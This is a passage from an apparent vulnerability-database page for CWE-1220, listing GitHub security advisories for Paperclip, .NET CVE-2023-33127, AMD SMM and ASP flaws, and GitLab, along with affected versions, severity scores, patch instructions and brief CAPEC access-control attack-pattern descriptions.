reproduced end-to-end\n against an unmodified container.\n\n### Credits\n\nDiscovered by [pwnkit](https://github.com/peaktwilight/pwnkit), an\nAI-assisted security scanner, during variant-hunt analysis of\nGHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip\ninstance.",
"id": "GHSA-47wq-cj9q-wpmp",
"modified": "2026-04-16T22:48:32Z",
"published": "2026-04-16T22:48:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-47wq-cj9q-wpmp"
},
{
"type": "PACKAGE",
"url": "https://github.com/paperclipai/paperclip"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys"
}
GHSA-485R-RP8V-998V
Vulnerability from github – Published: 2023-07-11 22:45 – Updated: 2023-07-11 22:45Microsoft Security Advisory CVE-2023-33127: .NET Remote Code Execution Vulnerability
Executive summary
Microsoft is releasing this security advisory to provide information about a vulnerability in .NET 7.0 and .NET 6.0. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.
A vulnerability exists in .NET applications where the diagnostic server can be exploited to achieve cross-session/cross-user elevation of privilege (EoP) and code execution.
Announcement
Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/263
Mitigation factors
Microsoft has not identified any mitigating factors for this vulnerability.
Affected software
- Any .NET 7.0 application running on .NET 7.0.8 or earlier.
- Any .NET 6.0 application running on .NET 6.0.19 or earlier.
If your application uses the following package versions, ensure you update to the latest version of .NET.
.NET 7
| Package name | Affected version | Patched version |
|---|---|---|
| Microsoft.WindowsDesktop.App.Runtime.win-arm64 | >= 7.0.0, <= 7.0.8 | 7.0.9 |
| Microsoft.WindowsDesktop.App.Runtime.win-x64 | >= 7.0.0, <= 7.0.8 | 7.0.9 |
| Microsoft.WindowsDesktop.App.Runtime.win-x86 | >= 7.0.0, <= 7.0.8 | 7.0.9 |
.NET 6
| Package name | Affected version | Patched version |
|---|---|---|
| Microsoft.WindowsDesktop.App.Runtime.win-arm64 | >= 6.0.0, <= 6.0.19 | 6.0.20 |
| Microsoft.WindowsDesktop.App.Runtime.win-x64 | >= 6.0.0, <= 6.0.19 | 6.0.20 |
| Microsoft.WindowsDesktop.App.Runtime.win-x86 | >= 6.0.0, <= 6.0.19 | 6.0.20 |
Advisory FAQ
How do I know if I am affected?
If you have a runtime or SDK with a version listed, or an affected package listed in affected software, you're exposed to the vulnerability.
How do I fix the issue?
- To fix the issue please install the latest version of .NET 6.0 or .NET 7.0. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.
- If you are using one of the affected packages, please update to the patched version listed above.
- If you have .NET 6.0 or greater installed, you can list the versions you have installed by running the
dotnet --infocommand. You will see output like the following;
.NET Core SDK (reflecting any global.json):
Version: 6.0.300
Commit: 8473146e7d
Runtime Environment:
OS Name: Windows
OS Version: 10.0.18363
OS Platform: Windows
RID: win10-x64
Base Path: C:\Program Files\dotnet\sdk\6.0.300\
Host (useful for support):
Version: 6.0.5
Commit: 8473146e7d
.NET Core SDKs installed:
6.0.300 [C:\Program Files\dotnet\sdk]
.NET Core runtimes installed:
Microsoft.AspNetCore.App 6.0.5 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
Microsoft.NETCore.App 6.0.5 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.WindowsDesktop.App 6.0.5 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
To install additional .NET Core runtimes or SDKs:
https://aka.ms/dotnet-download
- If you're using .NET 7.0, you should download and install Runtime 7.0.8 or SDK 7.0.109 (for Visual Studio 2022 v17.4) from https://dotnet.microsoft.com/download/dotnet-core/7.0.
- If you're using .NET 6.0, you should download and install Runtime 6.0.19 or SDK 6.0.315 (for Visual Studio 2022 v17.2) from https://dotnet.microsoft.com/download/dotnet-core/6.0.
.NET 6.0 and and .NET 7.0 updates are also available from Microsoft Update. To access this either type "Check for updates" in your Windows search, or open Settings, choose Update & Security and then click Check for Updates.
Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.
Additionally, if you've deployed self-contained applications targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.
Other Information
Reporting Security Issues
If you have found a potential security issue in .NET 6.0 or .NET 7.0, please email details to secure@microsoft.com. Reports may qualify for the Microsoft .NET Core & .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.
Support
You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime and https://github.com/dotnet/aspnet/. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.
Disclaimer
The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
External Links
Revisions
V1.0 (July 11, 2023): Advisory published.
Version 1.0
Last Updated 2023-07-11
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.WindowsDesktop.App.Runtime.win-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.0.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.WindowsDesktop.App.Runtime.win-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.0.20"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.WindowsDesktop.App.Runtime.win-x64"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.0.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.WindowsDesktop.App.Runtime.win-x64"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.0.20"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.WindowsDesktop.App.Runtime.win-x86"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.0.20"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.WindowsDesktop.App.Runtime.win-x86"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-33127"
],
"database_specific": {
"cwe_ids": [
"CWE-1220"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-11T22:45:28Z",
"nvd_published_at": "2023-07-11T18:15:14Z",
"severity": "HIGH"
},
"details": "# Microsoft Security Advisory CVE-2023-33127: .NET Remote Code Execution Vulnerability\n\n## \u003ca name=\"executive-summary\"\u003e\u003c/a\u003eExecutive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET 7.0 and .NET 6.0. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nA vulnerability exists in .NET applications where the diagnostic server can be exploited to achieve cross-session/cross-user elevation of privilege (EoP) and code execution.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/263\n\n### \u003ca name=\"mitigation-factors\"\u003e\u003c/a\u003eMitigation factors\n\nMicrosoft has not identified any mitigating factors for this vulnerability.\n\n## \u003ca name=\"affected-software\"\u003e\u003c/a\u003eAffected software\n\n* Any .NET 7.0 application running on .NET 7.0.8 or earlier.\n* Any .NET 6.0 application running on .NET 6.0.19 or earlier.\n\nIf your application uses the following package versions, ensure you update to the latest version of .NET.\n\n### \u003ca name=\".NET 7\"\u003e\u003c/a\u003e.NET 7\n\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.WindowsDesktop.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.WindowsDesktop.App.Runtime.win-arm64) | \u003e= 7.0.0, \u003c= 7.0.8 | 7.0.9\n[Microsoft.WindowsDesktop.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.WindowsDesktop.App.Runtime.win-x64) | \u003e= 7.0.0, \u003c= 7.0.8 | 7.0.9\n[Microsoft.WindowsDesktop.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.WindowsDesktop.App.Runtime.win-x86) | \u003e= 7.0.0, \u003c= 7.0.8 | 7.0.9\n\n### \u003ca name=\".NET 6\"\u003e\u003c/a\u003e.NET 6\n\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.WindowsDesktop.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.WindowsDesktop.App.Runtime.win-arm64) | \u003e= 6.0.0, \u003c= 6.0.19 | 6.0.20\n[Microsoft.WindowsDesktop.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.WindowsDesktop.App.Runtime.win-x64) | \u003e= 6.0.0, \u003c= 6.0.19 | 6.0.20\n[Microsoft.WindowsDesktop.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.WindowsDesktop.App.Runtime.win-x86) | \u003e= 6.0.0, \u003c= 6.0.19 | 6.0.20\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nIf you have a runtime or SDK with a version listed, or an affected package listed in [affected software](#affected-software), you\u0027re exposed to the vulnerability.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\n* To fix the issue please install the latest version of .NET 6.0 or .NET 7.0. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.\n* If you are using one of the affected packages, please update to the patched version listed above.\n* If you have .NET 6.0 or greater installed, you can list the versions you have installed by running the `dotnet --info` command. You will see output like the following;\n\n```\n.NET Core SDK (reflecting any global.json):\n\n Version: 6.0.300\n Commit: 8473146e7d\n\nRuntime Environment:\n\n OS Name: Windows\n OS Version: 10.0.18363\n OS Platform: Windows\n RID: win10-x64\n Base Path: C:\\Program Files\\dotnet\\sdk\\6.0.300\\\n\nHost (useful for support):\n\n Version: 6.0.5\n Commit: 8473146e7d\n\n.NET Core SDKs installed:\n\n 6.0.300 [C:\\Program Files\\dotnet\\sdk]\n\n.NET Core runtimes installed:\n\n Microsoft.AspNetCore.App 6.0.5 [C:\\Program Files\\dotnet\\shared\\Microsoft.AspNetCore.App]\n Microsoft.NETCore.App 6.0.5 [C:\\Program Files\\dotnet\\shared\\Microsoft.NETCore.App]\n Microsoft.WindowsDesktop.App 6.0.5 [C:\\Program Files\\dotnet\\shared\\Microsoft.WindowsDesktop.App]\n\nTo install additional .NET Core runtimes or SDKs:\n https://aka.ms/dotnet-download\n```\n\n* If you\u0027re using .NET 7.0, you should download and install Runtime 7.0.8 or SDK 7.0.109 (for Visual Studio 2022 v17.4) from https://dotnet.microsoft.com/download/dotnet-core/7.0.\n* If you\u0027re using .NET 6.0, you should download and install Runtime 6.0.19 or SDK 6.0.315 (for Visual Studio 2022 v17.2) from https://dotnet.microsoft.com/download/dotnet-core/6.0.\n\n.NET 6.0 and and .NET 7.0 updates are also available from Microsoft Update. To access this either type \"Check for updates\" in your Windows search, or open Settings, choose Update \u0026 Security and then click Check for Updates.\n\nOnce you have installed the updated runtime or SDK, restart your apps for the update to take effect.\n\nAdditionally, if you\u0027ve deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in .NET 6.0 or .NET 7.0, please email details to secure@microsoft.com. Reports may qualify for the Microsoft .NET Core \u0026 .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at \u003chttps://aka.ms/corebounty\u003e.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime and https://github.com/dotnet/aspnet/. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2023-33127]( https://www.cve.org/CVERecord?id=CVE-2023-33127)\n\n### Revisions\n\nV1.0 (July 11, 2023): Advisory published.\n\n_Version 1.0_\n\n_Last Updated 2023-07-11_",
"id": "GHSA-485r-rp8v-998v",
"modified": "2023-07-11T22:45:28Z",
"published": "2023-07-11T22:45:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dotnet/runtime/security/advisories/GHSA-485r-rp8v-998v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33127"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/announcements/issues/263"
},
{
"type": "PACKAGE",
"url": "https://github.com/dotnet/runtime"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-33127"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Microsoft Security Advisory CVE-2023-33127: .NET Remote Code Execution Vulnerability"
}
GHSA-4JCJ-3W4F-WVCM
Vulnerability from github – Published: 2025-09-06 18:30 – Updated: 2025-09-06 18:30Improper input validation in the system management mode (SMM) could allow a privileged attacker to overwrite arbitrary memory potentially resulting in arbitrary code execution at the SMM level.
{
"affected": [],
"aliases": [
"CVE-2024-21947"
],
"database_specific": {
"cwe_ids": [
"CWE-1220",
"CWE-20"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-06T18:15:39Z",
"severity": "HIGH"
},
"details": "Improper input validation in the system management mode (SMM) could allow a privileged attacker to overwrite arbitrary memory potentially resulting in arbitrary code execution at the SMM level.",
"id": "GHSA-4jcj-3w4f-wvcm",
"modified": "2025-09-06T18:30:33Z",
"published": "2025-09-06T18:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21947"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-4012.html"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-5007.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4M4W-7PH3-MCFG
Vulnerability from github – Published: 2025-06-12 18:31 – Updated: 2025-06-12 18:31An issue has been discovered in GitLab EE affecting all versions from 12.0 before 17.10.8, 17.11 before 17.11.4, and 18.0 before 18.0.2. Under certain conditions users could bypass IP access restrictions and view sensitive information.
{
"affected": [],
"aliases": [
"CVE-2025-5982"
],
"database_specific": {
"cwe_ids": [
"CWE-1220"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-12T17:15:29Z",
"severity": "LOW"
},
"details": "An issue has been discovered in GitLab EE affecting all versions from 12.0 before 17.10.8, 17.11 before 17.11.4, and 18.0 before 18.0.2. Under certain conditions users could bypass IP access restrictions and view sensitive information.",
"id": "GHSA-4m4w-7ph3-mcfg",
"modified": "2025-06-12T18:31:48Z",
"published": "2025-06-12T18:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5982"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/514456"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4MR4-7V9J-JVF7
Vulnerability from github – Published: 2025-02-12 00:32 – Updated: 2025-02-12 00:32Improper input validation in the SMM handler may allow a privileged attacker to overwrite SMRAM, potentially leading to arbitrary code execution.
{
"affected": [],
"aliases": [
"CVE-2023-31342"
],
"database_specific": {
"cwe_ids": [
"CWE-1220",
"CWE-20"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-11T23:15:08Z",
"severity": "HIGH"
},
"details": "Improper input validation in the SMM handler may allow a privileged attacker to overwrite SMRAM, potentially leading to arbitrary code execution.",
"id": "GHSA-4mr4-7v9j-jvf7",
"modified": "2025-02-12T00:32:16Z",
"published": "2025-02-12T00:32:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31342"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/resources/product-security/bulletin/amd-sb-3009.html"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/resources/product-security/bulletin/amd-sb-4008.html"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/resources/product-security/bulletin/amd-sb-5004.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-59GR-G8QH-WF7F
Vulnerability from github – Published: 2026-06-01 21:30 – Updated: 2026-06-01 21:30Insufficient granularity of access control in ASP (AMD Secure Processor) may allow an attacker with an untrusted user space application to map sensitive SMN (System Management Network) apertures leading to a potential escalation of privileges.
{
"affected": [],
"aliases": [
"CVE-2021-46747"
],
"database_specific": {
"cwe_ids": [
"CWE-1220"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-01T21:16:23Z",
"severity": "HIGH"
},
"details": "Insufficient granularity of access control in ASP (AMD Secure Processor) may allow an attacker with an untrusted user space application to map sensitive SMN (System Management Network) apertures leading to a potential escalation of privileges.",
"id": "GHSA-59gr-g8qh-wf7f",
"modified": "2026-06-01T21:30:44Z",
"published": "2026-06-01T21:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46747"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-4017.html"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6027.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
- Access-control-policy protections must be reviewed for design inconsistency and common weaknesses.
- Access-control-policy definition and programming flow must be tested in pre-silicon, post-silicon testing.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels
An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.